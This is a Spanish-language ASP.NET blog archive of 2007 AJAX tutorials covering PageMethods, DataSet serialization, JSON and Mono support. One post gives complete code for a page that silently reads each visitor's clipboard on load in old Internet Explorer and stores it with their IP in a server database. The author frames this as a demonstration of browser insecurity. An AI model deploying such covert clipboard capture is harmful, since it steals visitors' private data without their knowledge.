Saltar al contenido

Artículos, tutoriales, trucos, curiosidades, reflexiones y links sobre programación web ASP.NET Core, MVC, Blazor, SignalR, Entity Framework, C#, Azure, Javascript... y lo que venga ;)

17 años online

el blog de José M. Aguilar

Inicio El autor Contactar

Artículos, tutoriales, trucos, curiosidades, reflexiones y links sobre programación web
ASP.NET Core, MVC, Blazor, SignalR, Entity Framework, C#, Azure, Javascript...

¡Microsoft MVP!
Mostrando entradas con la etiqueta ajax. Mostrar todas las entradas
Mostrando entradas con la etiqueta ajax. Mostrar todas las entradas
martes, 18 de diciembre de 2007
Hace unos días Rosario C. realizaba, a través de un comentario en el post "Llamar a métodos estáticos con ASP.Net Ajax", una consulta sobre un problema con el se había topado al intentar retornar DataSets desde un método de página (PageMethod) de ASP.Net Ajax, un tema tan interesante que vale la pena escribir un post en exclusiva.

Recordemos que los métodos estáticos de página son una interesante capacidad que nos ofrece este framework para poder invocar desde cliente (javascript) funciones de servidor (codebehind) de una forma realmente sencilla. Además, gracias a los mecanismos de seriación incluidos, y como ya vimos en el post "Usando ASP.NET AJAX para el intercambio de entidades de datos", es perfectamente posible devolver desde servidor entidades o estructuras de datos complejas, y obtenerlas y procesarlas directamente desde cliente utilizando javascript, y viceversa.

Es es ahí donde reside el problema con los DataSets: precisamente este tipo de datos no está soportado directamente por el seriador JSON incorporado, que es el utilizado por defecto, de ahí que se genere una excepción como la que sigue:

System.InvalidOperationException
A circular reference was detected while serializing an object of type 'System.Globalization.CultureInfo'.
en System.Web.Script.Serialization.JavaScriptSerializer.SerializeValueInternal(Object o, StringBuilder sb, Int32 depth, Hashtable objectsInUse, SerializationFormat serializationFormat)\r\n en System.Web.Script.Serialization.JavaScriptSerializer.SerializeValue(Object o, StringBuilder sb, Int32 depth, Hashtable objectsInUse, SerializationFormat [...]

Pero antes de nada, un inciso. Dado que la excepción se produce en el momento de la seriación, justo antes de enviar los datos de vuelta al cliente, debe ser capturada en cliente vía la función callback especificada como último parámetro en la llamada al método del servidor:

// Llamada a nuestro PageMethod
PageMethods.GetData(param, OnOK, OnError);
[...]


function OnError(msg)
{
// msg es de la clase WebServiceError.
alert("Error: " + msg.get_message());
}
 
Aclarado esto, continuamos con el tema. La buena noticia es que el soporte para DataSets estará incluido en futuras versiones de la plataforma. De hecho, es perfectamente posible utilizar las librerías disponibles en previews disponibles en la actualidad. Existen multitud de ejemplos en la red sobre cómo es posible realizar esto, aunque será necesario instalar alguna CTP y referenciar librerías en el Web.config. Podéis echar un vistazo a lo descrito en este foro.

Esta solución sin embargo no es muy recomendable en estos momentos, puesto que estaríamos introduciendo en un proyecto librerías y componentes que, en primer lugar, están ideados sólo para probar y tomar contacto con las nuevas tecnologías, y, en segundo lugar, las características presentadas en ellos pueden modificarse o incluso eliminarse de las futuras versiones.

Existen otras formas de hacerlo, como la descrita en siderite, que consiste en crear un conversor justo a la medida de nuestras necesidades extendiendo la clase JavaScriptConverter, aunque aún me parecía una salida demasiado compleja al problema.

Sin embargo, la solución que he visto más simple es utilizar XML para la seriación de estas entidades, lo que se puede lograr de una forma muy sencilla añadiendo al método a utilizar un atributo modificando el formato de respuesta utilizado por defecto, de JSON a XML.

He creado un proyecto de demostración para VS2005, esta vez en VB.NET aunque la traducción a C# es directa, con una página llamada DataSetPageMethods.aspx en el que se establece un PageMethod en el lado del servidor, con la siguiente signatura:

<WebMethod()> _
<Script.Services.ScriptMethod(ResponseFormat:=ResponseFormat.Xml)> _
Public Shared Function ObtenerClientes(ByVal ciudad As String) As DataSet
 
Este método estático obtendrá de la tradicional base de datos NorthWind (en italiano, eso sí, no tenía otra a mano O:-)) un DataSet con los clientes asociados a la ciudad cuyo nombre se recibe como parámetro.

Como podréis observar, el método está precedido por la declaración de dos atributos. El primero de ellos, WebMethod(), lo define como un PageMethod y lo hará visible desde cliente de forma directa. El segundo de ellos redefine su mecanismo de seriación por defecto, pasándolo a XML. Si queréis ver el error al que hacía referencia al principio, podéis modificar el valor del ResponseFormat a JSON, su valor por defecto.

Desde cliente, al cargar la página rellenamos un desplegable con las distintas ciudades. Cuando el usuario selecciona un elemento y pulsa el botón "¡Pulsa!", se realizará una llamada asíncrona al PageMethod, según el código:

function llamar()
{
PageMethods.ObtenerClientes($get("<%= DropDownList1.ClientID %>").value , OnOK, OnError);
}
 
La función callback de notificación de finalización de la operación, OnOk, recibirá el DataSet del servidor y mostrará en la página dos resúmenes de los datos obtenidos que describiré a continuación. He querido hacerlo así para demostrar dos posibles alternativas a la hora de procesar desde cliente los datos recibidos, el DataSet, desde servidor.

En el primer ejemplo, se crea en cliente una lista sin orden con los nombres de las personas de contacto de los clientes (valga la redundancia ;-)), donde muestro cómo es posible utilizar el DOM para realizar recorridos sobre el conjunto de datos:

var nds = data.documentElement.getElementsByTagName("NewDataSet");
var rows = nds[0].getElementsByTagName("Table");
var st = rows.length + " filas. Personas:  br />";
st += "<ul>";
for(var i = 0; i < rows.length; i++)
{
st += "<li>" + getText(rows[i].getElementsByTagName("Contatto")[0])+ "</li>";
}
st += "</ul>";
etiqueta.innerHTML = st;
 
En el segundo ejemplo se muestra otra posibilidad, la utilización de DOM para crear una función recursiva que recorra en profundidad la estructura XML mostrando la información contenida. La función javascript que realiza esta tarea se llama procesaXml.

Como se puede comprobar analizando el código, utilizar la información del DataSet en cliente es necesario, en cualquier caso, un conocimiento de la estructura interna de est tipo de datos, lo cual no es sencillo, por lo que recomendaría enviar y gestionar los DataSets en cliente sólo cuando no haya más remedio.

Una alternativa que además de resultar menos pesada en términos de ancho de banda y proceso requerido para su tratamiento es bastante más sencilla de implementar sería enviar a cliente la información incluida un un array, donde cada elemento sería del tipo de datos apropiado (por ejemplo, un array de Personas, Facturas, o lo que sea). La seriación será JSON, mucho más optimizada, además de resultar simplísimo su tratamiento en javascript.

El proyecto de demostración también incluye una página (ArrayPageMethods.aspx) donde está implementado un método que devuelve un array del tipo Datos, cuya representación se lleva también a cliente y hace muy sencillo su uso, como se puede observar en esta versión de la función de retorno OnOk:

function OnOK(datos)
{
var etiqueta = $get("lblMensajes");
var s = "<ul>";
for (var i = 0; i < datos.length; i++)
{
s += "<li>" + datos[i].Contacto;
s += ". Tel: " + datos[i].Telefono;
s += "</li>";
}
s += "</ul>";
etiqueta.innerHTML = s;
}
 

Por último, comentar que el proyecto de ejemplo funciona también con VS2008 (Web Developer Express), aunque hay que abrirlo como una web existente.

Publicado en: www.variablenotfound.com.


Enlace: Descargar proyecto VS2005.
domingo, 2 de septiembre de 2007
Hace unos días Miguel de Icaza hablaba en su blog de la inminente posibilidad de hacer funcionar ASP.Net Ajax sobre Mono, incluso comenta un mensaje de Onur Gumus a la lista de programadores de la plataforma explicando cómo hacerlo en la actualidad con versiones internas.

Todavía tendremos que esperar un poco para poder incorporarlo en producción, pero sin duda es una buena noticia para los que ya disfrutábamos de estas librerías en el framework de Microsoft y esperábamos ansiosamente su implementación en Mono.
domingo, 8 de julio de 2007
Uno, que es inocente por naturaleza, asume que utilizar AJAX, acrónimo cuyas siglas corresponden con Asynchronous Javascript And XML, implica el uso de Javascript, comunicación asíncrona con el servidor y XML como formato de intercambio de información.

Lo primero es absolutamente cierto. Javascript es la base actual de AJAX; sin duda es el lenguaje de moda para la programación de funcionalidades avanzadas en cliente, está relativamente bien soportado por los navegadores modernos (o al menos son bien conocidas las particularidades de cada browser) y ofrece una potencia más que suficiente para lo que habitualmente pretendemos utilizarlo.

Lo segundo, la comunicación asíncrona con el servidor, es sólo relativamente cierto. Además de ser posible y útil la comuncación síncrona, hoy en día el término AJAX se utiliza con demasiada frecuencia; basta hacer una web tenga algún script para asegurar que estamos usando esa tecnología punta. Y no, señores, que los menús dinámicos ya se hacían con DHTML hace muuchos muuuchos años.

Sin embargo, hay librerías y frameworks AJAX que, entre otras características, incluyen funciones con efectos visuales realmente espectaculares, y esto cala muy rápidamente en los usuarios y desarrolladores al ser realmente sencillos de integrar y utilizar. De hecho, es fácil encontrar aplicaciones que utilizan de forma masiva estos componentes y no utilizan intercambio de datos alguno con el servidor.

Y por último, la gran decepción: no tiene por qué usarse XML. Lo que parecía tan obvio (de hecho, en un nuevo alarde de ignorancia y osadía lo aseguré en el post Llamar a servicios web con ASP.NET AJAX paso a paso), no es así la mayoría de las veces, y me explico.

XML, a pesar de su estandarización, interoperabilidad y claridad de lectura es lento a la hora de ser procesado. Si habéis probado a manejar un documento complejo usando XMLDOM o similares, habréis comprobado lo engorroso y lento que resulta recorrer o crear la estructura y acceder a sus elementos. Y claro, si se utiliza este lenguaje para comunicar cliente con servidor se supone que esta complejidad se produce en ambos extremos del intercambio de datos, lo cual no resulta agradable ni a la hora de desarrollarlo ni una vez puesto en explotación, puesto que se pretende que este intercambio sea rápido.

En su lugar se suelen utilizar formatos más ligeros, fácilmente procesables y manejables tanto desde cliente como desde servidor, y aquí la estrella es JSON (JavaScript Object Notation), un formato ligero para el intercambio de información basado, como XML, en texto plano, muy estructurado, de fácil lectura, con una gran difusión y, sobre todo, muy fácil de procesar tanto desde Javascript como desde software en servidor. Una prueba de su popularidad es que el propio Yahoo! adoptó JSON como formato de intercambio de datos con sus servicios, aunque sigue permitiendo XML.

Sin embargo, como siempre que existen distintas opciones para hacer lo mismo, hay un fuerte debate sobre la conveniencia de usar XML o JSON, con continuas luchas entre uno y otro bando en las que se aportan las ventajas de utilizar una opción y las debilidades de la opuesta. Vamos, lo de siempre (Windows/Linux, Internet Explorer/Firefox, PlayStation/Xbox, Burger King/Mc Donnald's...).

Como curiosidad, decir que se ha llegado a acuñar el término AJAJ para identificar a la tecnología que combina el Javascript Asíncrono con JSON (de ahí la "J" final), pero es obvio que el término no es tan atractivo como AJAX y ha sido descartado. Además, el uso de otros formatos de intercambios podría dar lugar a extrañas variaciones de las siglas que inundarían el ya colmado espacio mental reservado para estas aberraciones. Por ejemplo, si en vez de XML usamos HTML, la tecnología debería llamarse AJAH; si la complementamos con CSS podría ser AJACH; si usamos también comunicación síncrona necesitaríamos SAJACH. Y así hasta el infinito y más allá.

Por ello, y esto sí que es importante, parece que existe finalmente un gran consenso respecto a la utilización del término Ajax (mayúsculas la inicial, minúscula el resto), de forma que deje de ser un acrónimo y se convierta en un nombre propio que identifique a la filosofía, no al conjunto de tecnologías que se usan por debajo. Esto, además, supone un giro radical en su definición: mientras que AJAX es un término centrado en la tecnología, Ajax está centrado en el usuario, en lo que ve, en lo que obtiene, en su forma de relacionarse con el sistema, relegando los aspectos tecnológicos a un segundo plano.

Por cierto, otro día dedicaré un post en exclusiva a JSON, que creo que es lo suficientemente interesante como para dedicarle un ratito.

domingo, 24 de junio de 2007
Hace unos días, visitando Caso Patológico, encontré un código javascript mediante el cual podía obtenerse de forma muy sencilla el contenido del portapapeles del visitante de una página, siempre que éste utilizara un navegador inseguro.

De hecho, si visitáis la página con IE6, podréis observar a la derecha un aviso en el que se advierte de la inseguridad a la que estáis expuestos al utilizarlo, mostrando además parte del contenido de vuestro portapapeles, es decir, lo último que habéis copiado (control+c), por ejemplo desde un editor de textos.

Si combinamos esta idea con la capacidad de ASP.NET AJAX, framework del que ya llevo publicados varios post, para invocar desde cliente funcionalidades en servidor, resulta un proyecto tan simple como interesante: crear una base de datos en servidor con el contenido del portapapeles de los visitantes de una página. Desde el punto de vista tecnológico, vamos a ver cómo podemos utilizar Ajax para comunicar un script cliente con un método de servidor escrito en C#; desde el punto de vista ético, lo que vamos a hacer pertenece un poco al lado oscuro de la fuerza: vamos a enviar al servidor (y éste lo va a almacenar) información importante, que puede llegar a ser muy sensible, sin que el usuario se percate de lo que está ocurriendo.

Para ello crearemos una página ASP.NET en la que introduciremos un código script que, una vez haya sido cargada, obtenga el contenido textual del portapapeles y lo envíe, utilizando un PageMethod, al servidor, quien finalmente introducirá este contenido y la dirección IP del visitante en una base de datos local. Como almacén vamos a usar SQL Express, pero podríamos portarlo fácilmemente a cualquier otro sistema.

Empezaremos desde el principio, como siempre. En primer lugar, recordar que es necesario haberse instalado las extensiones ASP.NET AJAX, descargables gratuitamente en esta dirección. Una vez realiza esta operación, podremos crear en Visual Studio 2005 un sitio web Ajax-Enabled, utilizando una de las plantillas que se habrán instalado en el entorno.

Después de esta operación, el entorno habrá creado por nosotros un sitio web con todas las referencias y retoques necesarios para poder utilizar AJAX. En particular, tendremos un Default.aspx cuyo único contenido es un control de servidor ScriptManager, del que ya hemos hablado en otras ocasiones.

Pues bien, acudiendo al código de la página (.aspx), introducimos ahora el siguiente script:


<script type="text/javascript">
$addHandler(window, "onload", salvaClipboard);
function salvaClipboard()
{
if (window.clipboardData)
{
var msg=window.clipboardData.getData('Text');
if (typeof(msg) != "undefined" &&
(msg != "") && (msg != null))
{
PageMethods.SaveClipboard(msg);
}
}
}
</script>

 

Nótese, en primer lugar, la forma en la que añadimos un handler al evento OnLoad de la ventana. El alias $addHandler, proporcionado por el framework Ajax en cliente, nos facilita la vinculación de funciones a eventos producidos sobre los elementos a los que tenemos acceso desde Javascript.

En segundo lugar, fijaos la forma tan sencilla de obtener el contenido del portapapeles de windows: window.clipboardData.getData('Text');. Los ifs previos y posteriores son simples comprobaciones para que el script no provoque errores en navegadores no compatibles con estas capacidades.

Por último, una vez tenemos en la variable msg el texto, lo enviamos vía un PageMethod al servidor, que lo recibirá en el método estático correspondiente, definido en el code-behind de la misma página (default.aspx.cs). Como hemos comentado en otras ocasiones, es el ScriptManager el que ha obrado el milagro de crear la clase PageMethods e introducir en ella tantos métodos como hayan sido definidos en el servidor y así facilitar su llamada de forma directa desde el cliente.

Vayamos ahora al lado servidor. En el code-behind sólo hemos tenido que incluir el siguiente código en el interior de la clase:


[WebMethod()]
public static void SaveClipboard(string texto)
{
string client =
HttpContext.Current.Request.UserHostAddress;
SqlConnection conn =
new SqlConnection(Settings.Default.ConnStr);
SqlCommand cmd = conn.CreateCommand();
cmd.CommandText = "Insert into Portapapeles "+
"(Ip, Clipboard) Values (@ip, @texto)";
cmd.Parameters.AddWithValue("ip", client);
cmd.Parameters.AddWithValue("texto", texto);
try
{
conn.Open();
cmd.ExecuteNonQuery();
conn.Close();
}
catch (Exception ex)
{
// Nada que hacer!
}
}

 

Simple, ¿eh? La llamada a PageMethod.SaveClipboard en el cliente invoca al método estático del mismo nombre existente en la página del servidor, siempre que éste haya sido adornado con el atributo System.Web.Services.WebMethod. El parámetro "texto", con el contenido del portapapeles del cliente, se recibe como string de forma directa y transparente, sin necesidad de hacer ninguna conversión ni operación extraña.

Una vez obtenida también la IP del visitante usando el HttpContext (hay que recordar que el método es estático y por tanto no tiene acceso a las propiedades de la propia página donde está definido), se establece la conexión con la base de datos y se almacena la información.

Y eso es todo, amigos. Como habéis podido comprobar, es realmente sencillo utilizar Ajax para enviar desde el cliente información al servidor utilizando scripting y el framework AJAX proporcionado por Microsoft. Si esto lo unimos a la capacidad de extraer información local del equipo del visitante en determinados navegadores, los resultados pueden ser espectaculares y realmente peligrosos. Afortunadamente, las nuevas generaciones de browsers (IE7 incluido) se toman la seguridad algo más en serio y hacen más difícil la explotación de este tipo de funciones.

Finalmente, como siempre, indicar que he dejado en Snapdrive el proyecto completo, base de datos incluida, para que podáis probarlo (AjaxClipboardSpy.zip). Ojo, para que todo funcione debéis cambiar la ruta del archivo .MDF de SQL Express sobre el archivo Settings.settings de la aplicación.
domingo, 17 de junio de 2007

Hace unas semanas publicaba un par de posts con ejemplos de utilización del framework ASP.NET AJAX, donde se podía ver cómo invocar desde Javascript funcionalidades escritas en servidor y actualizar el contenido de una página web de forma dinámica, sin postback alguno.


En el primero de ellos veíamos cómo acceder a un servicio web desde javascript, paso a paso, mientras que en el segundo invocábamos funcionalidades de servidor llamando a métodos estáticos contenidos en el interior de una página (PageMethods). Sin embargo, en ambos casos se trataba de llamar a funciones que devolvían un string después de realizar alguna operación, y pudimos ver que resultaba realmente sencillo gracias al control ScriptManager incluido en la página.


Pero el framework AJAX va más allá, y permite incluso la comunicación cliente-servidor y viceversa utilizando entidades de datos propias. En otras palabras, podríamos retornar tipos complejos desde un método en servidor y utilizarlo desde cliente con toda la naturalidad del mundo, o instanciar en cliente tipos de datos declarados en servidor y enviárselos posteriormente para su tratamiento. Con esto conseguimos saltar lo que hasta ahora era una barrera infranqueable en una aplicación Web: el paso de entidades o datos estructurados de forma bidireccional entre cliente y servidor.


A lo largo de este post vamos a realizar un ejemplo completo que permite ilustrar cómo podemos hacer que un objeto se desplace cual pelota de ping-pong entre cliente y servidor sin provocar recargas de página completa. La lógica a implementar será bastante simple; como respuesta a la pulsación de un botón, el cliente generará un mensaje y se lo enviará al servidor. El mensaje será un objeto de tipo Mensaje, definida en C# (servidor) de la siguiente forma:


public class Mensaje
{
public string Remitente;
public string Destinatario;
public DateTime Fecha;
public int Numero;
}
 

Ya veremos como desde javascript podemos, de forma casi milagrosa, crear instancias de esta clase, acceder a sus atributos, enviar objetos al servidor, y obtenerlos desde éste de forma muy muy sencilla y transparente.


El primer mensaje enviado por el cliente establecerá la Fecha actual, el campo Numero a 1, el Remitente será un nombre introducido por pantalla y el Destinatario contendrá el valor "servidor". Cuando el servidor recibe este mensaje, incrementa el valor del atributo Numero, intercambia el remitente y el destinatario del mensaje y lo enviará de vuelta al cliente, quien lo dejará almacenado hasta que se vuelva a pulsar el botón de envío, que provocará de nuevo un intercambio del destinatario y el emisor del mensaje, así como un incremento del número de serie. El siguiente diagrama muestra una secuencia completa de este "peloteo":



Una vez explicado el escenario en el que vamos a jugar, pasamos a la acción, no sin antes recordar que necesitamos tener instalado el framework ASP.NET AJAX, descargable en la dirección http://ajax.asp.net/.


Partimos de un sitio web Ajax-Enabled, con todas las referencias y retoques en el web.config que el asistente de Visual Studio crea por nosotros. Este sitio, como ya se comentó en un post anterior, se puede crear utilizando la plantilla que se habrá instalado en nuestro entorno de desarrollo junto con el framework AJAX.


En primer lugar, vamos a montar el interfaz cliente, sobre el archivo default.aspx (reproduzco sólo las etiquetas incluidas entre la apertura y cierre del cuerpo <body> de la página):


 <body>
<form id="form1" runat="server">
<fieldset>
<input type="text" id="nombre" />
<input id="Button1"
type="button"
value="¡Pulsa!" onclick="llamar();" />
</fieldset>
<asp:ScriptManager ID="ScriptManager1"
runat="server"
EnablePageMethods="True" />
</form>
<div>
<strong>Mensajes obtenidos:</strong>
<br />
<label id="lblMensajes" />
</div>
</body>
 

Podemos observar que hemos creado un formulario con un cuadro de edición y un botón. El primero servirá para que el usuario introduzca su nombre y el segundo para enviar el mensaje al servidor. Es importante destacar que en ninguno de los dos casos se trata de controles de servidor, no hay runat="server" por ninguna parte. No es necesario debido a que todo se realizará en cliente, y las funcionalidades de servidor se invocarán mediante AJAX.


Después de estos se ha incluido el ScriptManager, que ya en otras ocasiones hemos identificado como el responsable de hacer posible la magia, el acceso transparente a las funcionalidades de servidor. En este caso, le hemos activado la propiedad EnablePageMethods para que podamos llamar con javascript a un método estático de servidor definido en el código de la página actual, en el code-behind (default.aspx.cs).


Por último, disponemos de una etiqueta donde iremos mostrando de forma sucesiva los mensajes intercambiados entre ambos extremos, modificando su contenido de forma dinámica.


Pasemos ahora a la parte de lógica en cliente, las funciones javascript. En primer lugar tenemos la función llamar(), establecida como controlador del evento click del botón del formulario:


 function llamar()
{
var msg;
if (ultimoMensaje == null)
{
msg = new Mensaje();
msg.Remitente = $get("nombre").value;
msg.Numero = 1;
}
else
{
msg = ultimoMensaje;
msg.Remitente = ultimoMensaje.Destinatario;
msg.Numero = ultimoMensaje.Numero + 1;
}
msg.Destinatario = "servidor";
msg.Fecha = new Date();
mostrarMensaje(msg);
PageMethods.EcoMensaje(msg, OnOK);
}
 

Creo que se puede entender simplemente leyendo el código, pero lo explico un poco. La primera vez que se ejecuta la función atendiendo a la pulsación del botón, se crea en cliente una instancia de la clase Mensaje, asignando a sus atributos los valores iniciales: el remitente (tomado del cuadro de edición), el número de serie (inicialmente 1), el destinatario y la fecha del envío. La variable ultimoMensaje almacenará el último mensaje obtenido del servidor (ya lo veremos más adelante) y sólo será nula la primera vez; en las sucesivas entradas a la función llamar(), ésta se limitará a incrementar el número de serie del mensaje, y a intercambiar el remitente por el destinatario.


Eh, pero un momento... decíamos que la clase Mensaje se había creado en el servidor, en C#, ¿cómo es posible que podamos instanciar en cliente una clase definida en servidor? Pues como siempre, gracias a la intermediación del ScriptManager, que ha detectado que existe un PageMethod que utiliza la clase y ha creado una clase "espejo" en cliente. Desde luego es impresionante lo bien que hace su trabajo este chico.


Volviendo al código anterior, podemos observar que además de componer el objeto a enviar al servidor, se llama a la función mostrarMensaje(), cuyo único objetivo es mostrar el mensaje en pantalla, añadiéndolo al contenido de la etiqueta "lblMensajes" definida en el interfaz. Por último, llama al método EcoMensaje de la clase PageMethods que el ScriptManager ha creado para nosotros, provocando la llamada asíncrona al método en servidor, al que además envía el Mensaje creado. El segundo parámetro de la llamada indica la función de notificación asíncrona, donde se enviará el control una vez el servidor devuelva la respuesta, cuyo código es así de simple:



 function OnOK(mensaje)
{
ultimoMensaje = mensaje;
mostrarMensaje(mensaje);
}
 

Está claro, ¿no? A nuestra función de notificación llega como parámetro que es el valor retornado por el método del servidor al que hemos invocado. Como veremos un poco más adelante, este método devuelve un objeto de tipo Mensaje, que podemos almacenar en la variable ultimoMensaje y mostrar por pantalla como hacíamos justo antes de llamar al servidor.


Y veamos ahora la parte del servidor, escrita en C# en el archivo code-behind "Default.aspx.cs". Por una parte tenemos definida la clase Mensaje, con el código que hemos visto un poco más arriba, y el método de página (Page Method) al que estamos invocando desde el script:


 [WebMethod()]
public static Mensaje EcoMensaje(Mensaje m)
{
m.Numero = m.Numero + 1;
string tmp = m.Destinatario;
m.Destinatario = m.Remitente;
m.Remitente = tmp;
m.Fecha = DateTime.Now;
return m;
}
 

Atención aquí. El método, marcado con el atributo WebMethod() para que el ScriptManager sepa que existe, recibe como parámetro el Mensaje que hemos enviado desde el cliente. De nuevo el framework está haciendo magia poniendo a nuestra disposición el mensaje en el idioma que habla el servidor, como una clase cualquiera escrita en .NET. Es la infraestructura AJAX la que está encargándose de convertir los datos enviados desde el cliente en formato JSON en una instancia de la clase, con sus correspondientes campos rellenos.


Obsérvese además que desde el código simplemente tomamos el objeto que nos ha enviado el cliente, le asignamos valores a sus atributos y lo enviamos de vuelta al mismo. Para que la función OnOk, descrita anteriormente, reciba este objeto como parámetro en formato nativo javascript, la infraestructura Ajax deberá serializar la clase .NET y enviarla de vuelta, también utilizando JSON (por cierto, a ver si otro día me acuerdo y hablamos un rato sobre JSON, un tema interesante!).


A continuación se muestra una captura de pantalla del sistema en funcionamiento:



Como de costumbre, he puesto en Snapdrive una copia del proyecto VS2005 completo, para los que quieran jugar un poco con esto sin molestarse demasiado. Puedes descargarlo aquí: AjaxPingPong.zip.

domingo, 20 de mayo de 2007
Hace unos días publicaba un paso a paso donde mostraba cómo invocar servicios web desde el cliente utilizando Javascript y las magníficas extensiones ASP.NET 2.0 AJAX, y pudimos ver lo sencillo que resultaba introducir en nuestras páginas web interacciones con el servidor impensables utilizando el modelo tradicional petición-respuesta de página completa.

Sin embargo, la infraestructura Ajax nos brinda otra forma de invocar funcionalidades de servidor sin necesidad de crear servicios web de forma explícita: los métodos de página (Page Methods). El objetivo: permitirnos llamar a métodos estáticos de cualquier página (.aspx) desde el cliente utilizando Javascript y, por supuesto, sin complicarnos mucho la vida. Impresionante, ¿no?

En este post vamos a desarrollar un ejemplo parecido al anterior, en el que tendremos una página web con un cuadro de edición para introducir nuestro nombre y un botón, cuya pulsación mostrará por pantalla el resultado de la invocación de un método del servidor, y todo ello, por supuesto, sin provocar recargas de página completa. El resultado vendrá a ser algo así:


Ah, para que no se diga que soy partidista ;-) esta vez vamos a desarrollarlo en Visual Basic .NET (aunque la traducción a C# de la porción de servidor es directa), y de nuevo con Visual Studio 2005.

En primer lugar, hemos de crear la solución (Visual Studio 2005) basándonos en la plantilla "ASP.NET Ajax-Enabled web application" que habrá aparecido en nuestro entorno tras descargar e instalar las extensiones AJAX. Una vez elegido el nombre, se creará un proyecto con todas las referencias necesarias, el web.config adaptado, y una página (Default.aspx) que viene ya preparada con el ScriptManager listo para su uso.

En el archivo code-behind (Default.aspx.vb) añadimos el siguiente código, que será la función de servidor a la que invocaremos desde el cliente:


<WebMethod()> _
Public Shared Function Saludame(ByVal Nombre As String) As String
Return "Hola a " + Nombre _
+ " desde el servidor, son las " _
+ DateTime.Now.ToString("hh:mm:ss")
End Function


Obsérvese que:
  • El método es público y estático. Lo primero es obvio, puesto que el ScriptManager necesitará mapearlo al cliente y para ello deberá acceder mediante reflexión a sus propiedades, y lo segundo también, puesto que las invocaciones al mismo no se efectuarán desde instancias de la clase, imposibles de conseguir en cliente.

  • Está adornado con un atributo WebMethod, que indica al ScriptManager que el cliente podrá invocarlo utilizando Javascript.

Sólo falta un detalle. Hay que indicar al ScriptManager de la página que se encargue de procesar todos los métodos públicos estáticos de la clase, que además estén marcados con el atributo anteriormente citado, y genere la infraestructura que necesitamos para utilizar de forma directa esta funcionalidad. Esto se consigue estableciendo la propiedad EnablePageMethods a true desde el diseñador.

Estableciendo EnablePageMethods a true
Una vez hecho esto, introducimos en el aspx de la página los elementos de interfaz (el cuadro de texto, el botón y un label para mostrar los resultados). El código del formulario completo queda así:


<form id="form1" runat="server">
<input type="text" id="nombre" />
<input id="Button1" type="button"
value="¡Pulsa!" onclick="llamar();" />
<br />
<strong>Mensajes obtenidos:</strong>
<br />
<label id="lblMensajes" />
<asp:ScriptManager ID="ScriptManager1"
runat="server" EnablePageMethods="True" />
</form>


Podemos ver, como en el post anterior, que todos los controles salvo el ScriptManager son de cliente, no tenemos el runat="server" en ninguno de ellos puesto que no realizaremos un envío de la página completa (postback) en ningún momento, todo se procesará en cliente y actualizaremos únicamente el contenido del label.

Por último, añadimos el script que realizará las llamadas y mostrará los resultados. La función llamar(), invocada a partir de la pulsación del botón y la de notificación de respuesta. El código es el siguiente:

<script type="text/javascript">
function llamar()
{
PageMethods.Saludame($get("nombre").value , OnOK);
}
function OnOK(msg)
{
var etiqueta = $get("lblMensajes");
etiqueta.innerHTML += msg + "<br />";
}
</script>

Primero, fijaos en la forma de llamar a Saludame(). El ScriptManager ha creado una clase llamada PageMethods a través de la cual podemos invocar a todos los métodos de la página de forma directa.

El primer parámetro de la función es $get("nombre").value. Ya vimos el otro día que $get("controlID") es un atajo para obtener una referencia hacia el control cuyo identificador se envía como parámetro. Por tanto, $get("nombre").value obtendrá el texto introducido en el cuadro de edición.

Después de los parámetros propios del método llamado, se indica la función a la que se pasará el control cuando obtenga el resultado desde el servidor. OnOK recibirá como parámetro la respuesta de éste, el string con el mensaje de saludo personalizado, y actualizará el contenido de la etiqueta para mostrarlo.

En resumen, los PageMethods son una interesantísima característica del framework AJAX de Microsoft, y nos permiten llamar a funciones estáticas definidas directamente sobre las páginas aspx, evitando el engorro de definir servicios web (asmx) de forma independiente, y sobre todo, ayudando a mantener en un único punto el código relativo a una página concreta ¡y qué mejor sitio que la propia página!

(Puedes descargar el proyecto completo.)
sábado, 12 de mayo de 2007
Recordemos que AJAX es el acrónimo de Asyncronous Javascript And Xml, e identifica al conjunto de tecnologías y filosofía de desarrollo que se basa en utilizar javascript en el cliente para lograr una experiencia de usuario mucho más rica que la obtenida en un sistema web tradicional. Un ejemplo de ello puede ser el realizar intercambios de información con el servidor basándose en XML, sin necesidad de recarga de páginas completas (postback).

Y dado que AJAX cubre la parte cliente, es obvio pensar que el complemento ideal en el lado del servidor son los servicios web, dada la coincidencia en el lenguaje de intercambio utilizado (XML), y la facilidad con que se desarrollan, despliegan y comunican.

El framework publicado por Microsoft hace unos meses, llamado ATLAS durante su periodo de desarrollo, facilita enormemente la tarea de inclusión de características AJAX en aplicaciones ASP.NET. El sistema completo se entrega en dos paquetes:
  • ASP.NET 2.0 AJAX Extensions, que es el componente base que establece la infraestructura para la utilización de esta tecnología sobre páginas asp.net. El ejemplo que desarrollaremos en este post se basa en estos componentes.

  • ASP.NET AJAX Control Toolkit, que incluye un buen número de componentes visuales y no visuales que hacen uso de la infraestructura AJAX a todo trapo. Algunos son una maravilla, y además es un proyecto compartido con la comunidad bajo licencia MsPL.


A lo largo de este post vamos a desarrollar paso a paso un ejemplo completo de interacción de un cliente con un servidor utilizando AJAX. El proyecto será bien simple, pero creo que suficientemente ilustrativo: crearemos con VS2005 una página web con un botón, cuya pulsación provocará que se obtenga desde el servidor un mensaje, que será mostrado por pantalla, ¡y todo ello sin provocar recarga de la página!

En primer lugar, abrimos Visual Studio 2005 y creamos un proyecto. Para facilitar la tarea, la instalación del framework AJAX habrá incluido una plantilla llamada "ASP.NET Ajax-Enabled web application", que es la que debemos elegir. De esta forma, se añadirán las referencias necesarias para que todo funcione.



Hecho esto, el entorno habrá creado una página "default.aspx" a la que simplemente habrá añadido un control de servidor de tipo ScriptManager. Este control es el que hace la magia, como veremos más adelante, asilándonos de la complejidad real que tiene una comunicación asíncrona con el servidor como la que vamos a realizar.


A continuación añadimos al proyecto un servicio web, con lo que Visual Studio generará un archivo estándar con un método, el consabido HelloWorld(), que devuelve un string con el mensaje de saludo.

Pues bien, aquí es donde empieza la fiesta. En primer lugar, vamos a modificar ligeramente este método para que devuelva mensajes diferentes y podamos comprobar, a posteriori, el funcionamiento del sistema.

Por ejemplo, añadiremos al saludo la hora actual del servidor:


[WebMethod]
public string HelloWorld()
{
return "Hola a todos desde el servidor, son las " +
DateTime.Now.ToString("hh:mm:ss");
}

Además, introducimos justo antes de la declaración de la clase, en las primeras líneas del archivo, la declaración del atributo [ScriptService] de la siguiente forma:


...
[System.Web.Script.Services.ScriptService] // ¡Necesario!
public class ServicioWeb : System.Web.Services.WebService
...

